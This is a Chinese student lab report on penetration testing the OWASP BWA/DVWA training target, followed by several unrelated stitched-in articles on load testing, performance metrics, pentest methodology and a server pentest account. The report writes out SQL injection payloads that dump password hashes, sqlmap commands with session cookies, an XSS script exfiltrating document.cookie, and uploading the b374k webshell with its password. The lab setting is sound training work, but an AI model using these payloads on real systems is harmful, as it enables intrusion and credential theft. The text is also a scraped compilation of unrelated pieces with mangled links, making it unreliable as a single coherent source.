Web应用程序渗透测试

Web应用程序渗透测试

姓名:滕召维学号:13084139

一、实验目的

1. 学习使用OWASP BW A靶机。

2. 学习使用Kali Linux进行Web应用程序渗透测试。

二、实验内容

1. 使用w3af漏洞扫描器对OWASP BW A靶机进行漏洞扫描。

2. 根据老师的课堂讲授,按照课件相关内容在OW ASP BWA靶机上实践XSS和SQL注入两种攻击。

3. 配合使用Tamper Data和sqlmap进行sql注入攻击。

4. 利用文件上传漏洞植入Webshell。

三、主要实验结果

(一)使用w3af漏洞扫描器对OWASP BWA靶机进行漏洞扫描

1. 启动w3af漏洞扫描器。

2. 编辑新建的Profile,也就是配置各种插件。

对audit类插件勾选sqli和xss两个插件,如下图:

对crawl类插件只勾选web_spider,如下图

对web_spider的配置在窗口右侧,勾选only_forward并保存,如下图

对output类插件,只勾选输出html文件。对输出文件的配置在窗口右侧,如下图输入文件名称并保存。这样扫描结果将保存在/root/dvwa.html文件中。

4. 如下图在Target一栏输入扫描的网址,单击右侧按钮start启动扫描。

扫描过程中

扫描结果

(二)在OWASP BWA靶机上实践XSS和SQL注入两种攻击

1. 在Kali Linux攻击主机上,按照课件第29页,实践“通过SQL注入攻击绕过身份认证机制”。

2. XSS和SQL注入攻击

(1)在攻击机上访问https://www.360docs.net/doc/de12720251.html,/dvwa,按照 1. 的攻击方法,登录进入DVW A训练系统。

(2)首先按照图示将DVWA应用的安全等级设置为Low。

(3)按照课件29-31页,实践SQL注入攻击。

使用OW ASP BW A靶机的DVW A应用程序演示如何获取后台数据库更多的信息。输入文件“XSS&SQLi.txt”中的脚本。

将数据表中的每一行都显示出来,输入:' or '1=1

②查询INFORMA TION_SCHEMA系统表,输入:' UNION SELECT 1, table_name from INFORMA TION_SCHEMA.tables -- '

③列出user表的内容,输入:' UNION SELECT 1, column_name from INFORMA TION_SCHEMA.columns where table_name = 'users' -- '

④取得口令的MD5值,输入:' UNION SELECT NULL, password from users -- '

⑤使用concat()函数将所有的信息都列出来,输入:' UNION SELECT password, concat(first_name, ' ', last_name, ' ',user) from users -- '

(4)按照课件第40页,实践反射式XSS攻击。

①输入

②输入

(5)按照课件第43页,访问https://www.360docs.net/doc/de12720251.html,/mutillidae,登录进入mutilidae训练系统,实践存储式XSS攻击。

访问Mutillidae的Cross Site Scripting (XSS)

输入:

xss.js的内容如下:

document.write ("This is remote text via xss.js located at https://www.360docs.net/doc/de12720251.html, " + document.cookie);

alert ("This is remote text via xss.js located at https://www.360docs.net/doc/de12720251.html, " + document.cookie);

首先按照sql注入攻击登录进入mutilidae训练系统

输入:

document.write ("This is remote text via xss.js located at https://www.360docs.net/doc/de12720251.html, " + document.cookie);

alert ("This is remote text via xss.js located at https://www.360docs.net/doc/de12720251.html, " + document.cookie);

(三)配合使用Tamper Data和sqlmap进行sql注入攻击

重复(二)中步骤2-(1)和2-(2)。

启动Tamper Data插件。

4.按照课件33页使用Sqlmap进行SQL注入攻击。

(1)扫描,输入:sqlmap -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='Tamper Data插件抓取的内容'

(2)获取数据库名,输入:

sqlmap -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='Tamper Data插件抓取的内容' --dbs -v 0

(3)获取dvwa数据库中存在的表名,输入:

sqlmap -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='Tamper Data 插件抓取的内容' -D dvwa --tables

(4)获取users表中的字段列表,输入:

sqlmap -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='Tamper Data 插件抓取的内容' -D dvwa --tables -T users --columns

(5)把Password字段内容搞出来,输入:

sqlmap -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='Tamper Data 插件抓取的内容' -D dvwa --tables -T users --columns --dump

(6)使用sqlmap获取口令明文,输入:

sqlmap -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='Tamper Data

插件抓取的内容' -D dvwa --tables -T users --columns --dump

(四)利用文件上传漏洞植入Webshell

1. 学习实验课件目录下的有关b374k-shell的html文档。

2. 首先如(二)-2-(2)将DVW A应用的安全等级设置为Low。

3. 将实验课件目录下的文件“b374k-2.8.php”上传到web服务器。

4.在浏览器中输入网址“https://www.360docs.net/doc/de12720251.html,/dvwa/hackable/uploads/b374k-2.8.php”,即可访问webshell,在文本框中输入口令:b374k,单击Go,即可进入界面,如下图所示。

5. 在Webshell中探索在步骤1中学习的各种功能。

File manager (view, edit, rename, delete, upload, download as archive,etc) 可对文件进行查看、编辑、删除等操作:

比如我对dwa_emall.png进行复制操作

Command execution命令的执行

Script execution (php, perl, python, ruby, java, node.js, c) 对脚本的执行:

我复制了dwa_emall.png中的内容粘贴到这里,点击go。

点击Go时弹出如下提示,说明该脚本正在运行中。

提供服务器的信息

可以连接到数据库

还有Give you shell via bind/reverse shell connect的功能。

使用webbench 进行web压力测试

在运维工作中,压力测试是一项非常重要的工作。比如在一个网站上线之前,能承受多大访问量、在大访问量情况下性能怎样,这些数据指标好坏将会直接影响用户体验。 但是,在压力测试中存在一个共性,那就是压力测试的结果与实际负载结果不会完全相同,就算压力测试工作做的再好,也不能保证100%和线上性能指标相同。面对这些问题,我们只能尽量去想方设法去模拟。所以,压力测试非常有必要,有了这些数据,我们就能对自己做维护的平台做到心中有数。 目前较为常见的网站压力测试工具有webbench、ab(apache bench)、tcpcopy、loadrunner 软件名称简介优缺点 webbench 由Lionbridge公司开发,主要测试每秒钟请求数和每秒钟数据传输量,同时支持静态、动态、SSL 部署简单,静动态均可测试。适用于小型网站压力测试(单例最多可模拟3万并发) ab(apache bench)Apache自带的压力测试工具,主要功能用于测试网站每秒钟处理请求个数 多见用于静态压力测试,功能较弱,非专业压力测试工具 tcpcopy 基于底层应用请求复制,可转发各种在线请求到测试服务器,具有分布式压力测试功能,所测试数据与实际生产数据较为接近后起之秀,主要用于中大型压力测试,所有基于tcp的packets均可测试 loadrunner 压力测试界的泰斗,可以创建虚拟用户,可以模拟用户真实访问流程从而录制成脚本,其测试结果也最为逼真模拟最为逼真,并可进行独立的单元测试,但是部署配置较为复杂,需要专业人员才可以。 下面,笔者就以webbench为例,来讲解一下网站在上线之前压力测试是如何做的。 安装webbench #wget http://home.tiscali.cz/~cz210552/distfiles/webbench-1.5.tar.gz #tar zxvf webbench-1.5.tar.gz #cd webbench-1.5 #make && make install进行压力测试 并发200时 # webbench -c 200 -t 60 https://www.360docs.net/doc/de12720251.html,/index.php参数解释:-c为并发数,-t 为时间(秒) Webbench - Simple Web Benchmark 1.5 Copyright (c) Radim Kolar 1997-2004, GPL Open Source Software. Benchmarking: GET https://www.360docs.net/doc/de12720251.html,/index.php 200 clients, running 60 sec. Speed=1454 pages/min, 2153340 bytes/sec. Requests: 1454 susceed, 0 failed.当并发200时,网站访问速度正常

WEB应用渗透测试的步骤

渗透测试的两大阶段 渗透测试不能测试出所有可能的安全问题,它只是一个特定环境下才合适的WEB应用安全测试技术。OWASP的渗透测试方法是基于墨盒方法的,测试人员在测试前不知道或只知道很有限的关于被测试应用的信息。 渗透测试被分成两大阶段: ■ 被动模式阶段 在这个阶段,测试人员试图去理解被测应用的逻辑,并且去使用它。可以使用工具去收集信息,例如,可以用HTTP代理工具去观察所有请求与响应。本阶段结束后,测试人员应该理解了应用的所有访问点(如,HTTP报头、参数和COOKIE)。信息收集一节将介绍如何进行被动模式的测试。 ■ 主动模式阶段 这个阶段里,测试人员将利用后述的9大类66种方法主动地去测试。 被动模式阶段 信息收集 安全评估的第一步是收集尽可能多的关于被测应用的信息。信息收集是渗透测试的必要步骤。通常使用公共工具(搜索引擎)、扫描器、发送简单或特别的HTTP请求等来迫使被测应用泄漏信息。 ◆使用蜘蛛、机器人和爬虫 目标是浏览和捕获被测应用相关的资源。 ◆搜索引擎发现与侦察 类似GOOGLE这样的搜索引擎可以用来发现被测应用中已经被公开的错误页面或WEB应用结构问题。 ◆识别应用入口点 枚举被测应用及其攻击面是展开任何攻击的的一个关键性前提。 ◆测试WEB应用指纹 应用指纹是信息收集的第一步。知道正在运行的WEB服务器的版本和类型后,测试人员可以确定已知的漏洞和测试过程中的相应攻击方法。获取WEB应用指纹的自动化工具Httprint和在线工具Netcraft。 ◆应用发现 应用发现是一项面向驻留在WEB/应用服务器中的WEB应用识别的活动。这种分析很重要,因为没有一个链接直接连接到主要应用的后端。分析可以发现有助于揭示诸如用于管理目的的WEB应用程序的细节。此外,它可以揭示诸如取消删除的,过时的脚本文件,这些文件通常是在测试、开发或维护过程产生的。可能使用到的工具: 1、DNS查询工具,如nslookup,dig等。

用SoapUI进行Webservice的性能压力测试

用S o a p U I进行W e b s e r v i c e的性能压 力测试 Company number:【0089WT-8898YT-W8CCB-BUUT-202108】

用S o a p U I进行W e b s e r v i c e的性能压力测试1. 新建测试工程 选择在一个测试用例中测试多个方法,并为测试生成压力测试: 2. 为测试 Step 添加变量: 右键选中 Test Step ,添加一个 Grooy Script Step ;添加一个变量 count 并设置初始值为0 3. 添加一个随机变量: 右键选中 Test Step ,添加一个 Grooy Script Step ;名称为 rand ,用下面的代码产生一个随机值 view plaincopy to clipboardprint rand = new Random() = "test_" + (100) Random rand = new Random() result = "test_" + (100) 4. 使用动态参数: 打开 init 操作的 SOAP 请求,将输入参数用上面步骤产生的随机替换 view plaincopy to clipboardprint 02. 03. 04. 05. ${rand#result} 06. 07. 08. ${rand#result} 5. 按条件选择执行操作: 同样的再添加一个 Grooy Script Step ;名称叫 ExecHandler ,用来条件控制用例的执行

APP渗透测试方案

APP渗透测试方案 2016-7-29 XXXXX公司

目录 1 App渗透简介 (3) 2 APP渗透测试所用工具 (3) 2.1 代理抓包工具 (3) 2.2 反编译工具 (3) 2.3 其他针对服务端的web渗透工具 (4) 3 APP渗透测试的方法 (5) 3.1 数据包分析、测试 (5) 3.2 APP反编译还原代码 (5) 4 APP渗透测试流程 (5) 4.1 项目启动 (5) 4.1.1 项目启动准备 (5) 4.1.2 实施方案制定 (6) 4.2 项目实施 (6) 4.2.1 信息收集 (6) 4.2.2 平台使用不当的测试 (6) 4.2.3 不安全的数据存储的测试 (6) 4.2.4 不安全的通信的测试 (7) 4.2.5 不安全的身份验证的测试 (7) 4.2.6 加密不足的测试 (7) 4.2.7 不安全的授权的测试 (7)

4.2.8 客户端代码质量问题的测试 (7) 4.2.9 代码篡改的测试 (7) 4.3 项目收尾 (8) 4.3.1 报告编写 (8) 4.3.2 问题复查 (8)

1App渗透简介 移动app大多通过web api服务的方式跟服务端交互,这种模式把移动安全跟web安全绑在一起。移动app以web服务的方式跟服务端交互,服务器端也是一个展示信息的网站,常见的web漏洞在这也存在,比如说SQL注入、文件上传、中间件/server漏洞等。 2APP渗透测试所用工具 2.1代理抓包工具 ?Burpsuit ?Fiddler 代理抓包工具主要用于抓取、分析、篡改APP与服务端之间的交互数据包。 爆破、解编码、执行会话令牌等作用。 2.2反编译工具 APP的反编译有两种反编译方式,dex2jar和apktool,两个工具反编译的效果是不一样的,dex2jar反编译出java源代码,apktool反编译出来的是java 汇编代码。 ?工具1:dex2jar+jdgui ?工具2:apktool 工具1反编译出来的是java源代码,易读性比较高。

WEB服务器性能测试基本指标

WEB服务器性能测试基本指标 1说明 随着公司业务的发展,公司网站、管理后台、app服务器的访问量在不断增加,但通常在软件设计开发的时候很难模拟出大量用户同时访问系统的实际情况,因此,当Web网站遇到访问高峰时,容易发生服务器响应速度变慢甚至服务中断。为了避免这种情况,需要一种能够真实模拟大量用户访问Web应用系统的性能测试工具进行压力测试,来测试静态HTML页面的响应时间,甚至测试动态网页(包括PHP、JSP 等)的响应时间,为服务器的性能优化和调整提供数据依据。 Web性能测试的部分概况一般来说,一个Web请求的处理包括以下步骤: (1)客户发送请求 (2)web server接受到请求,进行处理; (3)web server 向DB获取数据; (4)web server生成用户的object(页面),返回给用户。给客户发送请求开始到最后一个字节的时间称为响应时间(第三步不包括在每次请求处理中)。

2网络拓扑图 3系统配置

4主要指标 4.1事务(Transaction) 在web性能测试中,一个事务表示一个“从用户发送请求->web server接受到请求,进行处理-> we b server向DB获取数据->生成用户的object(页面),返回给用户”的过程,一般的响应时间都是针对事务而言的。 4.2请求响应时间 请求响应时间指的是从客户端发起的一个请求开始,到客户端接收到从服务器端返回的响应结束,这个过程所耗费的时间,在某些工具中,响应通常会称为“TTLB”,即"time to last byte",意思是从发起一个请求开始,到客户端接收到最后一个字节的响应所耗费的时间,响应时间的单位一般为“秒”或者“毫秒”。一个公式可以表示:响应时间=网络响应时间+应用程序响应时间。标准可参考国外的3/5/10原则: (1)在3秒钟之内,页面给予用户响应并有所显示,可认为是“很不错的”; (2)在3~5秒钟内,页面给予用户响应并有所显示,可认为是“好的”; (3)在5~10秒钟内,页面给予用户响应并有所显示,可认为是“勉强接受的”; (4)超过10秒就让人有点不耐烦了,用户很可能不会继续等待下去; 4.3事务响应时间 事务可能由一系列请求组成,事务的响应时间主要是针对用户而言,属于宏观上的概念,是为了向用户说明业务响应时间而提出的.例如:跨行取款事务的响应时间就是由一系列的请求组成的.事务响应时间是直接衡量系统性能的参数. 4.4并发用户数 并发一般分为2种情况。一种是严格意义上的并发,即所有的用户在同一时刻做同一件事情或者操作,这种操作一般指做同一类型的业务。比如在信用卡审批业务中,一定数目的拥护在同一时刻对已经完成的审批业务进行提交;还有一种特例,即所有用户进行完全一样的操作,例如在信用卡审批业务中,所有的用户可以一起申请业务,或者修改同一条记录。 另外一种并发是广义范围的并发。这种并发与前一种并发的区别是,尽管多个用户对系统发出了请求或者进行了操作,但是这些请求或者操作可以是相同的,也可以是不同的。对整个系统而言,仍然是有很多用户同时对系统进行操作,因此也属于并发的范畴。 可以看出,后一种并发是包含前一种并发的。而且后一种并发更接近用户的实际使用情况,因此对于大多数的系统,只有数量很少的用户进行“严格意义上的并发”。对于WEB性能测试而言,这2种并发情况一般都需要进行测试,通常做法是先进行严格意义上的并发测试。严格意义上的用户并发一般发生在使用比较频繁的模块中,尽管发生的概率不是很大,但是一旦发生性能问题,后果很可能是致命的。严格意义

WEB软件测试总结报告

XXX项目测试总结报告 目录 1.项目测试结果 (2) 1.1 BUG严重程度 (2) 1.2 BUG问题分布状况 (3) 2.测试结论 (4) 2.1界面测试 (4) 2.2功能测试 (4) 2.3兼容性测试 (4) 2.4易用性 (4) 2.5 负载/压力测试 (5) 3.软件问题总结与分析 (6) 4.建议 (7)

1.项目测试结果 1.1 BUG严重程度 测试发现的bug主要集中在次要功能和轻微,属于一般性的缺陷,但测试的时候出现了37个主逻辑级别的bug,以及严重级别的2个.

1.2 BUG问题分布状况 由上图可以看出,主要为代码错误占36%,以及标准规范的问题占35%,界面优化占17%,设计缺陷占9%,其他占2%

2.测试结论 2.1界面测试 网站系统实现与设计稿一致。站点的导航条位置,导航的内容布局,首页呈现的样式与需求一致。网站的界面符合标准和规范,直观性强。 2.2功能测试 分不同账号总权限账号,以及店长账号分别进行功能测试。 1:链接测试无问题,不存在死链接,测试链接都存在. 2:对页面各个不同数据的测试,主要的出入库,销售报表,订单查看管理等一一对应,不存在数据有误差的问题. 2.3兼容性测试(Windows下) 测试总的浏览器包括:360极速浏览器,火狐浏览器,谷歌浏览器,IE浏览器,测试通过,主要逻辑以及次要功能都没问题,因为浏览器的不同,导致界面浏览不一定相同,例如有的界面浏览页面显示正常,有的界面显示不一样 。 2.4易用性 网站实现了如下易用性: 1. 输入限制的正确性 2. 输入限制提示信息的正确性,可理解性,一致性 3. 界面排版美观 4. web应用系统易于导航,直观 5. web应用系统的页面结构、导航、菜单、连接的风格一致

Web网站渗透测试论文

XXX 职业技术学院 毕业设计(论文) 题目: Web 网站渗透测试技术研究 系 (院) 信息系 专业班级 计算机网络 学 号 1234567890 学生姓名 XXX 校内导师 XXX 职 称 讲师 企业导师 XXX 职 称 工程师 企业导师 XXX 职 称 工程师 ----------------------------------------------装 订 线 ----------------------------------------------

Web网站渗透测试技术研究 摘要: 随着网络技术的发展和应用领域的扩张,网络安全问题越来越重要。相对于传统的系统安全,Web网站的安全得到了越来越多的重视。首先,越来越多的网络业务不再用专门的客户机/服务器模式开发,而是运行在Web网站上用浏览器统一访问;其次,和比较成熟的操作系统安全技术比较,Web网站的安全防护技术还不够完善,当前黑客也把大部分注意力集中在Web渗透技术的发展上,使Web网站安全总体上面临相当严峻的局面。 为了确保Web网站的安全,需要采用各种防护措施。在各种防护措施中,当前最有效的措施是先自己模拟黑客攻击,对需要评估的网站进行Web渗透测试,找到各种安全漏洞后再针对性进行修补。 本文在对Web网站渗透测试技术进行描述的基础上,配置了一个实验用Web网站,然后对此目标网站进行了各种黑客渗透攻击测试,找出需要修补的安全漏洞,从而加深了对Web 安全攻防的理解,有利于以后各种实际的网络安全防护工作。 关键词: 网络安全;Web网站;渗透测试 Web site penetration testing technology research Abstract: With the expansion of the network technology development and applications, network security issues become increasingly important. Compared with the traditional system security, Web security has got more and more attention. First, more and more network applications no longer develop with specialized client / server model, but run on the Web site and accessed by browser; Secondly, operating system security technology is relatively safe, but secure Web site protection technology is still not perfect, so the most of the curr ent hackers’attention focused on the development of Web penetration technology, the Web site is facing serious security situation in general. To ensure the security Web site, you need to use a variety of protective measures. In a variety of protective measures, the most effective measure is to own hacking simulation, the need to assess the Web site penetration testing, to find a variety of security vulnerabilities before specific repair. Based on the Web site penetration testing techniques described, the configuration of an experimental Web site, then this target site penetration of various hacker attack test, identify areas that need patching security holes, thereby deepening of Web security offensive understanding, there is conducive to future practical network security protection work. Keywords: Network Security, Web sites, penetration testing

对Web 服务器进行压力测试

测试方法 传统的测试方法包括某种形式的简单单元测试,通常由开发人员执行。设计这些测试需要了解软件的内部知识,并且这些测试几乎总是针对产品的非常小的、特定的部分。这些类型的测试非常适合与其他代码组件极少交互,甚至没有交互的简单 Web 服务。 功能验证(Functional Verification)也是一种测试过程,在这个过程中,对产品源代码了解有限的设计者进行测试以确认产品或服务的核心功能。设计这种测试是为了证明这个核心功能符合某个规范。举个例子,我的在线拍卖显示的是输入的正确出价吗?我的保险经纪人系统找到最便宜的报价了吗?如果这些测试失败,通常就意味着检测到了产品的一个基本问题(这个问题通常是可以直接修复)。这种测试也是适合简单的 Web 服务,使您可以检查服务是否能够正确执行它的各个功能。 系统测试(System Test)通常是在功能验证阶段完成,验证了核心功能后进行。它倾向于把整个系统作为一个整体来查找问题—弄清 Web 服务作为系统的一部分怎样运作,以及Web 服务相互之间如何交互。由于系统测试是在开发生命周期快结束时才进行,所以通常不能给它分配足够的时间来完成。又因为紧张的发行日程安排以及开发的各个重要阶段的后移,系统测试阶段经常被忽略,并且一些通常都可以发现的、少见的错误都不能被检测到。即使发现了这种错误,这时也来不及确定错误的原因并设法修复它们了。因此,在查找代码错误时,必需把系统测试应用设计得尽可能高效。系统测试通常由三部分组成,它们是: 1.性能(Performance):这涉及到确定相关的产品统计数据的过程。例如:每秒有多 少条消息?一个服务可同时接受多少个用户?

Web渗透测试流程

超实用!手把手教你如何3步进行Web渗透测试! 一个偶然的机会,有幸邀请到了一家国外专门做web安全的公司来对自己的web系统做安全测试。4周下来,我与几位安全专家多次沟通,完成了对自己系统的威胁建模,渗透测试,白盒测试,一共发现了28个漏洞。经验宝贵,因此有必要好好总结下。 现在,随着企业信息化建设的开展,越来越多的重要数据会以电子媒介的形式存放,这在方便企业办公的同时,也造成了极大的安全隐患。近年来,随着APT攻击的蔓延,使得越来越多的企业遭受不可挽回的重大损失。 在目的明确、装备精良、经验丰富的“雇佣军”式的攻击者面前,传统的安全设备已显得力不从心,企业需要做的是定期开展专业的渗透测试,来降低风险,加固安全。 那么,什么是渗透测试? 渗透测试,是渗透测试工程师完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标网

络、主机、应用的安全作深入的探测,发现系统最脆弱的环节。 如果说安全检测是“横向地毯式自动化扫描”,那么渗透测试就是“纵向深度人工化入侵”。可见渗透测试的目的是发现目标系统潜在的业务漏洞风险。 安全问题都体现在输入输出的问题上,能够分析数据流就有迹可循了。先知道渗透测试的流程,用工具找到漏洞,了解并且复现它。 如何进行Web渗透测试? 1、完整web渗透测试框架 当需要测试的web应用数以千计,就有必要建立一套完整的安全测试框架,流程的最高目标是要保证交付给客户的安全测试服务质量。 立项:项目建立,时间安排,人力分配,目标制定,厂商接口人确定; 系统分析&威胁分析:针对具体的web应用,分析系统架构、使用的组件、对外提供的接口等,以STRIDE为威胁模型进行对应的安全威胁分析,输出安全威胁分析表,重点关注top3威胁; 制定测试用例:根据威胁分析的结果制定对应的测试用例,测试用例按照模板输出,具备可执行性; 测试执行&漏洞挖掘:测试用例执行&发散测试,挖掘对应的安全问题or漏洞; 问题修复&回归测试:指导客户应用开发方修复安全问题or漏洞,并进行回归测试,确保安全问题or漏洞得到修复,并且没有引入新的安全问题; 项目总结评审:项目过程总结,输出文档评审,相关文档归档。

运用WAS进行Web负载测试

运用WAS进行WEB负载测试 随着网络服务器端处理任务的日益复杂,以及网站访问量的迅速增长,服务器性能的优化已成为非常迫切的任务。在性能优化之前,测试不同条件下服务器的性能表现,并找出影响性能瓶颈所在,将是Web设计性能改善方案的重要依据。 在构造一个Intranet 网站时,负载测试是任何Web 应用开发周期中一个重要的环节。在构造一个为大量用户服务的应用之前,搞清楚产品配置能够承受多大的负载十分重要,测试能够暴露出最终会导致服务器崩溃的内存泄漏、访问阻塞等情况。 但是在实际的构建过程中,若要按照系统真实运行的情况,组织成千上万的用户来进行压力测试,无论从那个方面进行实施,都是不现实的。因为一旦发现了问题,不仅需要重复的进行这种耗费资源巨大的测试,而且问题并一定能够重现,并不能方便的找出性能的瓶颈或问题所在。解决这个问题的办法是通过使用软件的办法解决,通过进行软件模拟的方法进行,这就是负载的压力测试。 无论哪种情形,对运用软件进行负载测试可以获得重要的基准性能数据,为未来的代码优化、硬件配置 l e x y 以及系统软件、硬件更新与升级带来依据和提供数据。 1 Web服务器负载测试软件介绍 WAS(Microsoft Web Application Stress Tool,Web 应用负载测试工具)提供了一种简单的方法模拟大量用户进行访问目标网站。这个测试工具能够提供Web 应用程序工作时对硬件和软件的使用情况。为了有效的对Web 应用程序进行负载(压力)测试,Microsoft 发布了简单易用,功能强大的工具WAS。 WAS 要求具备的操作系统必须是Windows NT 4.0 SP4 或者Windows 2000 Server,Internet Explorer 4.0 以上版本。为了对网站进行负载测试,WAS 可以通过一台或者多台客户机模拟大量用户访问Web网站的活动。WAS 支持身份验证、加密和Cookies,也能够模拟各种浏览器类型和Modem 速度,它的测试功能和性能表现良好。 使用WAS时,为了更加接近真实的进行压力测试,通常推荐运行WAS的测试机和Web服务器分开。

一次WEB服务器渗透测试笔记

一次WEB服务器渗透测试笔记 作者:佚名文章来源:网络点击数:78 更新时间:2008-11-17 渗透测试是最能直接的反映系统的安全性的一种手段了。现整理了前段时间进行的一次渗透测试的笔记,整个过程中所使用的工具和思路都比较简单,本文也正是为了您的系统不被这些“简单”的东西所击败而作 此次渗透测试的已知条件只有一个:目标IP地址211.***.***.114。 首先当然是常规的扫描nmap -v -sS -O 211.***.***.114,得到的结果如下: (The 1641 ports scanned but not shown below are in state: filtered) Port State Service 80/tcp open http Device type: general purpose Running: FreeBSD 4.X OS details: FreeBSD 4.7-RELEASE (注意:渗透测试需要有对方授权,任何未经许可的扫描和渗透都有可能受到起诉。) 这个结果让人比较郁闷,只开了80一个端口,而且是freebsd的系统,并用IPFW 或其他firewall进行了严格的过滤,看来这次的渗透要费点脑筋了。

但打开页面看了一下,更加让人丧气情况出现了:所有的连接都是静态的html页面!这意味着没有sql注入可利用,没有脚本漏洞可发掘!只是通过指纹验证httprint知道了web服务器是apache。 嗯,好吧,看来只能扫一下80端口试一下了。拿出RetinaApacheChunked... ... 当扫描结果出现在我眼前的时候,我想我有必要联系一下拉登大叔了,直接把这服务器炸掉算了!!! 放弃?!当然不!“一条铁链的强度取决于其最薄弱的一环”,安全也从来都不是单点的安全,所以,扩大扫描的范围说不定会有收获。当然这个扩大也不是随意的,最好先估算一下对方的地址段的长 度,比如这个211.***.***.114,假设掩码是240,则该段地址即为:211.***.***.112-211.***.***.127 。这个不用解释了吧! 拿出nmap,扫描从211.***.***.113-211.***.***.126的地址。得到的结果中最另人感兴趣的是一台开放了80端口的windows2000的主机211.***.***.116。一种直觉告诉我这台主机就是突破口! http://211.***.***.116 出现在我眼前的是一个asp论坛的首页,但奇怪的是该论坛没什么分论坛也没几个注册用户,很可能是一个用来测试的系统。看了下论坛底部的版本信息“Powered by China Power Board v1.2”,原来是CPB的论坛,而且印象里这个v1.2好像是有注入漏洞,(窃喜)。 用google搜索到一个cpbv1.2研究了一下,原来数据库用的是ACCESS,储存管理员用户名和密码的表名为admin,这是我们最关心的东西,该表有四列:a_id admin password a_grade,其中passoword是使用md5加密过的。好了知道了这些基本信息,就可以进行下一步了:

web安全渗透测试培训安全测试总结

web安全渗透测试培训安全测试总结 跨站点脚本攻击(Xss) Burpsuite探测反射型xss问题请求的值没有做处理就在响应中返回 越权访问定义:不同权限账户之间的功能及数据存在越权访问。 测试方法: 1.抓取A用户功能链接,然后登录B用户对此链接进行访问。 2.抓取用户A的uesrid,用用户B登录时替换为用户A的userid。 3.抓取用户A的cookie,用用户B登录时替换用户A的cookie。 文上传漏洞定义:没有对上传文扩展名进行限制或者限制可以被绕过。 测试方法:找到系统中可以上传文的地方,抓取功能链接,修改文扩展名,看响应包的状态。 关键会话重放攻击定义:可以抓取包固定账号破解密码、固定密码破解账号和重放提交投票数据包。 测试方法:

使用抓包工具抓取系统登录请求,获得用户和密码参数,使用用户或密码字典替代登录请求会话中对应的用户或密码参数,暴力破解。 中间weblogic命令执行漏洞定义:weblogic反序列化漏洞,可以执行系统命令。 测试方法: 使用CVE-20XX-2628漏洞检测工具,对目标主机进行检测。在url.txt中填入目标主机的“ip:port”,这里填入 192.168.2.103:7001。在windows主机打开命令行运行CVE-20XX-2628-MultiThreading.py开始检测。 敏感信息泄露定义:系统暴露系统内部信息,包括网站绝对路径泄露、SQL语句泄露、中间泄露、程序异常回显。 测试方法: 1.使用抓包工具对系统中的参数进行篡改,加入特殊符号“’、--、&;”,查看返回数据包。 2.查看系统前端js代码。 SQL语句泄露中间版本泄露程序异常回显程序异常回显后台泄露漏洞中间后台泄露定义:weblogic后台地址过于简单,攻击者很容易猜测和破解到后台地址。 测试方法: 1.不允许使用默认地址 2.不允许只修改控制台访问地址的端口号

压力测试工具

10大主流压力测试工具推荐 在移动应用和Web服务正式发布之前,除了进行必要的功能测试和安全测试,为了保证互联网产品的服务交付质量,往往还需要做压力/负载/性能测试。然而很多传统企业在试水互联网+的过程中,往往由于资源或产品迭代速度等原因忽视了这一块工作,导致新产品上线之后频繁出现卡顿等严重影响用户体验的问题。那么互联网产品为什么要进行压力/负载/性能测试,又有哪些工具帮我们实现呢,本文将为您细说端详。 压力/负载/性能测试之异同 在产品研发过程中,常常会混淆压力/负载/性能测试这三者之间的区别,这三种测试到底有什么不同呢? 压力测试(StressTesting),也称为强度测试,通过模拟实际应用的软硬件环境及用户使用过程的系统负荷,长时间或超大负荷地运行测试软件,来测试被测系统的性能、可靠性、稳定性等。压力测试需要确定一个系统的瓶颈或者不能接收的性能点,来获得系统能提供的最大的服务级别。通俗地讲,压力测试是为了发现在什么条件下您的应用程序的性能会变得不可接受。 负载测试(Load Testing)通常被定义为给被测系统加上它所能操作的最大任务数的过程,负载测试有时也会被称为“容量测试”或者“耐久性测试/持久性测试”,其目标是确定并确保系统在超出最大预期工作量的情况下仍能正常运行。对于WEB应用来讲,负载则是并发用户或者HTTP连接的数量。负载测试通过测试系统在资源超负荷情况下的表现,以发现设计上的错误或验证系统的负载能力。在这种测试中,将使测试对象承担不同的工作量,以评测和评估测试对象在不同工作量条件下的性能行为,以及持续正常运行的能力。

性能测试(PerformanceTesting)的目的不是去找系统Bugs,而是排除系统的性能瓶颈,并为回归测试建立一个基准。而性能测试的操作,实际上就是一个非常小心受控的测量分析过程:“运行负载试验->测度性能->调试系统”。在理想的情况下,被测应用在这个时候已经是足够稳定,所以这个过程得以顺利进行。性能测试还有另一个目标就是建立一组被测系统的基准数据。应用在网络上的性能测试重点是利用成熟先进的自动化技术进行网络应用性能监控、网络应用性能分析和网络预测。 虽然三种测试的目的截然不同,但其测试操作的环节都是基本一致的,因此一次测试过程中完全可以包含性能测试、负载测试、压力测试三个方面的内容,所使用的测试工具往往大同小异。 10大主流压力/负载/性能测试工具推荐 市面上流行的压力/负载/性能测试工具多是来自国外,同时由于开发的目的和侧重点不同,其功能也有很大差异,下面就为您简单介绍10款目前最常见的测试产品。 1 LoadRunner LoadRunner是一种预测系统行为和性能的负载测试工具,通过模拟实际用户的操作行为进行实时性能监测,来帮助测试人员更快的查找和发现问题。LoadRunner适用于各种体系架构,能支持广泛的协议和技术,为测试提供特殊的解决方案。企业通过LoadRunner 能最大限度地缩短测试时间,优化性能并加速应用系统的发布周期。 LoadRunner提供了3大主要功能模块:VirtualUser Generator(用于录制性能测试脚本),LoadRunner Controller(用于创建、运行和监控场景),LoadRunner Analysis(用于分析性能测试结果)既可以作为独立的工具完成各自的功能,又可以作为LoadRunner的一部分彼此衔接,与其他模块共同完成软件性能的整体测试。

详述SSL和TLS的Web安全渗透测试

